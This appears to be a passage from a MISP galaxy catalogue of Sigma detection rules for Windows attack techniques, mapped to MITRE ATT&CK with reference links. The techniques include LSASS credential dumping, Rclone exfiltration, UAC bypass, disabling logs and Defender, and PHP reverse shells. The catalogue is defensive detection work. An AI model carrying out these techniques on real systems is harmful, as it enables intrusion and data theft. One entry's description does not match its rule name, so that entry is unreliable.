- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 9761. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Browser Started with Remote Debugging**

Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks

The tag is: *misp-galaxy: sigma-rules="Browser Started with Remote Debugging"*

View relationships graph

Browser Started with Remote Debugging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

Table 9762. Table References
Suspicious Kernel Dump Using Dtrace

Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1

The tag is: misp-galaxy:sigma-rules="Suspicious Kernel Dump Using Dtrace"

View relationships graph

Suspicious Kernel Dump Using Dtrace has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 9763. Table References

Privilege Escalation via Named Pipe Impersonation

Detects a remote file copy attempt to a hidden network share. This may indicate lateral movement or data staging activity.

The tag is: misp-galaxy:sigma-rules="Privilege Escalation via Named Pipe Impersonation"

View relationships graph

Privilege Escalation via Named Pipe Impersonation has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Remote Services - T1021" with estimative-language:likelihood-probability="almost-certain"

Table 9764. Table References
Suspicious Double Extension File Execution

Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns

The tag is: misp-galaxy:sigma-rules="Suspicious Double Extension File Execution"

View relationships graph

Suspicious Double Extension File Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 9765. Table References

Links

- https://twitter.com/blackorbird/status/1140519090961825792
- https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexedoce.html
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension.yml

Suspicious Rundll32 Setupapi.dll Activity

setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.

The tag is: misp-galaxy:sigma-rules="Suspicious Rundll32 Setupapi.dll Activity"

View relationships graph

Suspicious Rundll32 Setupapi.dll Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 9766. Table References

Links

- https://lolbas-project.github.io/lolbas/Libraries/Setupapi/
Suspicious Execution From GUID Like Folder Names

Detects potential suspicious execution of a GUID like folder name located in a suspicious location such as %TEMP% as seen being used in IcedID attacks

The tag is: `misp-galaxy:sigma-rules="Suspicious Execution From GUID Like Folder Names"`

View relationships graph

Suspicious Execution From GUID Like Folder Names has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"

**Table 9767. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/Kostastsale/status/1565257924204986369">https://twitter.com/Kostastsale/status/1565257924204986369</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_from_guid_folder_names.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_from_guid_folder_names.yml</a></td>
</tr>
</tbody>
</table>

Visual Studio Code Tunnel Service Installation

Detects the installation of VsCode tunnel (code-tunnel) as a service.

The tag is: `misp-galaxy:sigma-rules="Visual Studio Code Tunnel Service Installation"`

View relationships graph

Visual Studio Code Tunnel Service Installation has relationships with:


**Table 9768. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://badoption.eu/blog/2023/01/31/code_c2.html">https://badoption.eu/blog/2023/01/31/code_c2.html</a></td>
</tr>
<tr>
<td><a href="https://ipfyx.fr/post/visual-studio-code-tunnel/">https://ipfyx.fr/post/visual-studio-code-tunnel/</a></td>
</tr>
<tr>
<td><a href="https://code.visualstudio.com/docs/remote/tunnels">https://code.visualstudio.com/docs/remote/tunnels</a></td>
</tr>
</tbody>
</table>
Suspicious Scheduled Task Name As GUID

Detects creation of a scheduled task with a GUID like name

The tag is: `misp-galaxy:sigma-rules="Suspicious Scheduled Task Name As GUID"`

View relationships graph

Suspicious Scheduled Task Name As GUID has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

Table 9769. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/">https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/">https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_schtasks_guid_task_name.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_schtasks_guid_task_name.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Key Manager Access

Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)

The tag is: `misp-galaxy:sigma-rules="Suspicious Key Manager Access"`

View relationships graph

Suspicious Key Manager Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004"` with estimative-language:likelihood-probability="almost-certain"

Table 9770. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/NinjaParanoid/status/1516442028963659777">https://twitter.com/NinjaParanoid/status/1516442028963659777</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_rundll32_keymgr.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_rundll32_keymgr.yml</a></td>
</tr>
</tbody>
</table>

Stop Windows Service Via PowerShell Stop-Service

Detects the stopping of a Windows service
The tag is: *misp-galaxy:sigma-rules=*"Stop Windows Service Via PowerShell Stop-Service"

View relationships graph

Stop Windows Service Via PowerShell Stop-Service has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

Table 9771. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_stop_service.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_stop_service.yml</a></td>
</tr>
</tbody>
</table>

**Potential PowerShell Execution Via DLL**

Detects potential PowerShell execution from a DLL instead of the usual PowerShell process as seen used in PowerShdll

The tag is: *misp-galaxy:sigma-rules=*"Potential PowerShell Execution Via DLL"

View relationships graph

Potential PowerShell Execution Via DLL has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 9772. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md">https://github.com/p3nt4/PowerShdll/blob/62cfa172fb4e1f7f4ac00ca942685baeb88ff356/README.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_dll_execution.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Recursive Takeown**

Adversaries can interact with the DACLs using built-in Windows commands takeown which can grant adversaries higher permissions on specific files and folders

The tag is: *misp-galaxy:sigma-rules=*"Suspicious Recursive Takeown"

View relationships graph

Suspicious Recursive Takeown has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
**Windows Defender Definition Files Removed**

Adversaries may disable security tools to avoid possible detection of their tools and activities by removing Windows Defender Definition Files.

The tag is: `misp-galaxy:sigma-rules="Windows Defender Definition Files Removed"`

View relationships graph

Windows Defender Definition Files Removed has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

**Execution via WorkFolders.exe**

Detects using WorkFolders.exe to execute an arbitrary control.exe.

The tag is: `misp-galaxy:sigma-rules="Execution via WorkFolders.exe"`

View relationships graph

Execution via WorkFolders.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
Suspicious Command Patterns In Scheduled Task Creation

Detects scheduled task creation using "schtasks" that contain potentially suspicious or uncommon commands

The tag is: misp-galaxy:sigma-rules="Suspicious Command Patterns In Scheduled Task Creation"

View relationships graph

Potential Credential Dumping Via WER

Detects potential credential dumping via Windows Error Reporting LSASS Shtinkering technique which uses the Windows Error Reporting to dump lsass

The tag is: misp-galaxy:sigma-rules="Potential Credential Dumping Via WER"

View relationships graph
PUA- IOX Tunneling Tool Execution

Detects the use of IOX - a tool for port forwarding and intranet proxy purposes

The tag is: *misp-galaxy:sigma-rules="PUA- IOX Tunneling Tool Execution"*

View relationships graph

PUA- IOX Tunneling Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 9778. Table References

Links

https://github.com/EddieIvan01/iox
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_iox.yml

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION"*

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9779. Table References

Links

https://github.com/SigmaHQ/sigma/issues/1009
**Suspicious CustomShellHost Execution**

Detects the execution of CustomShellHost binary where the child isn’t located in ‘C:\Windows\explorer.exe’

The tag is: *misp-galaxy: sigma-rules=“Suspicious CustomShellHost Execution”*

**View relationships graph**

Suspicious CustomShellHost Execution has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern=“System Script Proxy Execution - T1216” with estimative-language:likelihood-probability="almost-certain"

**Table 9780. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/">https://lolbas-project.github.io/lolbas/Binaries/CustomShellHost/</a></td>
</tr>
<tr>
<td><a href="https://github.com/LOLBAS-Project/LOLBAS/pull/180">https://github.com/LOLBAS-Project/LOLBAS/pull/180</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_customshellhost.yml</a></td>
</tr>
</tbody>
</table>

**Dllhost.EXE Execution Anomaly**

Detects a "dllhost" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes.

The tag is: *misp-galaxy: sigma-rules=“Dllhost.EXE Execution Anomaly”*

**View relationships graph**

Dllhost.EXE Execution Anomaly has relationships with:


**Table 9781. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08">https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/child-processes/">https://redcanary.com/blog/child-processes/</a></td>
</tr>
</tbody>
</table>
Renamed CreateDump Utility Execution

Dectects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory

The tag is: misp-galaxy:.sigma-rules="Renamed CreateDump Utility Execution"

View relationships graph

Renamed CreateDump Utility Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9782. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/bopin2020/status/1366400799199272960">https://twitter.com/bopin2020/status/1366400799199272960</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_createdump.yml</a></td>
</tr>
</tbody>
</table>

Assembly Loading Via CL_LoadAssembly.ps1

Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls.

The tag is: misp-galaxy:.sigma-rules="Assembly Loading Via CL_LoadAssembly.ps1"

View relationships graph

Assembly Loading Via CL_LoadAssembly.ps1 has relationships with:


Table 9783. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Cloudflared Tunnel Connections Cleanup

Detects execution of the "cloudflared" tool with the tunnel "cleanup" flag in order to cleanup tunnel connections.

The tag is: *misp-galaxy: sigma-rules="Cloudflared Tunnel Connections Cleanup"

View relationships graph

Cloudflared Tunnel Connections Cleanup has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- related-to: *misp-galaxy: mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 9784. Table References

Links

- [https://github.com/cloudflare/cloudflared](https://github.com/cloudflare/cloudflared)
- [https://developers.cloudflare.com/cloudflare-one/connections/connect-apps](https://developers.cloudflare.com/cloudflare-one/connections/connect-apps)
- [https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_tunnel_cleanup.yml](https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cloudflared_tunnel_cleanup.yml)

Windows Admin Share Mount Via Net.EXE

Detects when an admin share is mounted using net.exe

The tag is: *misp-galaxy: sigma-rules="Windows Admin Share Mount Via Net.EXE"

View relationships graph

Windows Admin Share Mount Via Net.EXE has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

Table 9785. Table References

Links

- [https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view](https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view)
WebDAv Client Execution Via Rundll32.EXE

 Detects "svchost.exe" spawning "rundll32.exe" with command arguments like "C:\windows\system32\davclnt.dll,DavSetCookie". This could be an indicator of exfiltration or use of WebDAv to launch code (hosted on a WebDAv server).

The tag is: misp-galaxy:sigma-rules="WebDAv Client Execution Via Rundll32.EXE"

View relationships graph

WebDAv Client Execution Via Rundll32.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 9786. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/OTRF/detection-hackathon-apt29/issues/17">https://github.com/OTRF/detection-hackathon-apt29/issues/17</a></td>
</tr>
<tr>
<td><a href="https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ff3fc/doc/docs/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFC04BA6.md">https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ff3fc/doc/docs/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFC04BA6.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_webdav_client_execution.yml</a></td>
</tr>
</tbody>
</table>

Disable Windows IIS HTTP Logging

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)

The tag is: misp-galaxy:sigma-rules="Disable Windows IIS HTTP Logging"

View relationships graph

Disable Windows IIS HTTP Logging has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 9787. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1--disable-windows-iis-http-logging">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1--disable-windows-iis-http-logging</a></td>
</tr>
</tbody>
</table>
Renamed MegaSync Execution

Detects the execution of a renamed MegaSync.exe as seen used by ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.

The tag is: `misp-galaxy:sigma-rules="Renamed MegaSync Execution"`

**View relationships graph**

Renamed MegaSync Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

**Table 9788. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/rclone-mega-extortion/">https://redcanary.com/blog/rclone-mega-extortion/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_megasync.yml</a></td>
</tr>
</tbody>
</table>

Potential Persistence Attempt Via Run Keys Using Reg.EXE

Detects suspicious command line reg.exe tool adding key to RUN key in Registry

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Attempt Via Run Keys Using Reg.EXE"`

**View relationships graph**

Potential Persistence Attempt Via Run Keys Using Reg.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

**Table 9789. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/">https://app.any.run/tasks/9c0f37bc-867a-4314-b685-e101566766d7/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_add_run_key.yml</a></td>
</tr>
</tbody>
</table>
HackTool - Empire PowerShell UAC Bypass

Detects some Empire PowerShell UAC bypass methods

The tag is: misp-galaxy:sigma-rules="HackTool - Empire PowerShell UAC Bypass"

View relationships graph

HackTool - Empire PowerShell UAC Bypass has relationships with:


Table 9790. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64">https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64</a></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64">https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_uac_bypass.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_empire_powershell_uac_bypass.yml</a></td>
</tr>
</tbody>
</table>

Potential Shim Database Persistence via Sdbinst.EXE

Detects installation of a new shim using sdbinst.exe. Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims

The tag is: misp-galaxy:sigma-rules="Potential Shim Database Persistence via Sdbinst.EXE"

View relationships graph

Potential Shim Database Persistence via Sdbinst.EXE has relationships with:


Table 9791. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence">https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_shim_persistence.yml</a></td>
</tr>
</tbody>
</table>

Data Copied To Clipboard Via Clip.EXE

Detects the execution of clip.exe in order to copy data to the clipboard. Adversaries may collect data stored in the clipboard from users copying information within or between applications.
The tag is: *misp-galaxy:sigma-rules="Data Copied To Clipboard Via Clip.EXE"*

View relationships graph

Data Copied To Clipboard Via Clip.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

**Table 9792. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffc3d4723742bfcf365fee2a9/atomics/T1115/T1115.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffc3d4723742bfcf365fee2a9/atomics/T1115/T1115.md</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/clip</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_clip_execution.yml</a></td>
</tr>
</tbody>
</table>

**Php Inline Command Execution**

Detects execution of php using the "-r" flag. This is could be used as a way to launch a reverse shell or execute live php code.

The tag is: *misp-galaxy:sigma-rules="Php Inline Command Execution"*

View relationships graph

Php Inline Command Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

**Table 9793. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet</a></td>
</tr>
<tr>
<td><a href="https://www.revshells.com/">https://www.revshells.com/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_php_inline_command_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_php_inline_command_execution.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Workstation Locking via Rundll32**

Detects a suspicious call to the user32.dll function that locks the user workstation

The tag is: *misp-galaxy:sigma-rules="Suspicious Workstation Locking via Rundll32"*

**Table 9794. Table References**
Arbitrary File Download Via Squirrel.EXE

Detects the usage of the "Squirrel.exe" to download arbitrary files. This binary is part of multiple Electron based software installations (Slack, Teams, Discord, etc.)

The tag is: misp-galaxy:sigma-rules="Arbitrary File Download Via Squirrel.EXE"

PUA - RunXCmd Execution

Detects the use of the RunXCmd tool to execute commands with System or TrustedInstaller accounts

The tag is: misp-galaxy:sigma-rules="PUA - RunXCmd Execution"
**DumpMinitool Execution**

Detects the use of "DumpMinitool.exe" a tool that allows the dump of process memory via the use of the "MiniDumpWriteDump"

The tag is: `misp-galaxy:sigma-rules="DumpMinitool Execution"`

View relationships graph

DumpMinitool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

**Potential Rundll32 Execution With DLL Stored In ADS**

Detects execution of rundll32 where the DLL being called is stored in an Alternate Data Stream (ADS).

The tag is: `misp-galaxy:sigma-rules="Potential Rundll32 Execution With DLL Stored In ADS"`

View relationships graph

Potential Rundll32 Execution With DLL Stored In ADS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
PUA - Rclone Execution

Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc

The tag is: `misp-galaxy:sigma-rules="PUA - Rclone Execution"`

View relationships graph

PUA - Rclone Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"

**Table 9799. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware">https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a">https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/">https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rclone_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rclone_execution.yml</a></td>
</tr>
</tbody>
</table>

Local File Read Using Curl.EXE

Detects execution of "curl.exe" with the "file://" protocol handler in order to read local files.

The tag is: `misp-galaxy:sigma-rules="Local File Read Using Curl.EXE"`

**Table 9800. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://curl.se/docs/manpage.html">https://curl.se/docs/manpage.html</a></td>
</tr>
</tbody>
</table>
Deleted Data Overwritten Via Cipher.EXE

Detects usage of the "cipher" built-in utility in order to overwrite deleted data from disk. Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.

The tag is: `misp-galaxy: sigma-rules="Deleted Data Overwritten Via Cipher.EXE"`

View relationships graph

Deleted Data Overwritten Via Cipher.EXE has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Data Destruction - T1485"` with estimative-language:likelihood-probability="almost-certain"

Table 9801. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cipher_overwrite_deleted_data.yml</a></td>
</tr>
</tbody>
</table>

PUA - Nmap/Zenmap Execution

Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation.

The tag is: `misp-galaxy: sigma-rules="PUA - Nmap/Zenmap Execution"`

View relationships graph

PUA - Nmap/Zenmap Execution has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Network Service Discovery - T1046"` with estimative-language:likelihood-probability="almost-certain"

Table 9802. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://nmap.org/">https://nmap.org/</a></td>
</tr>
<tr>
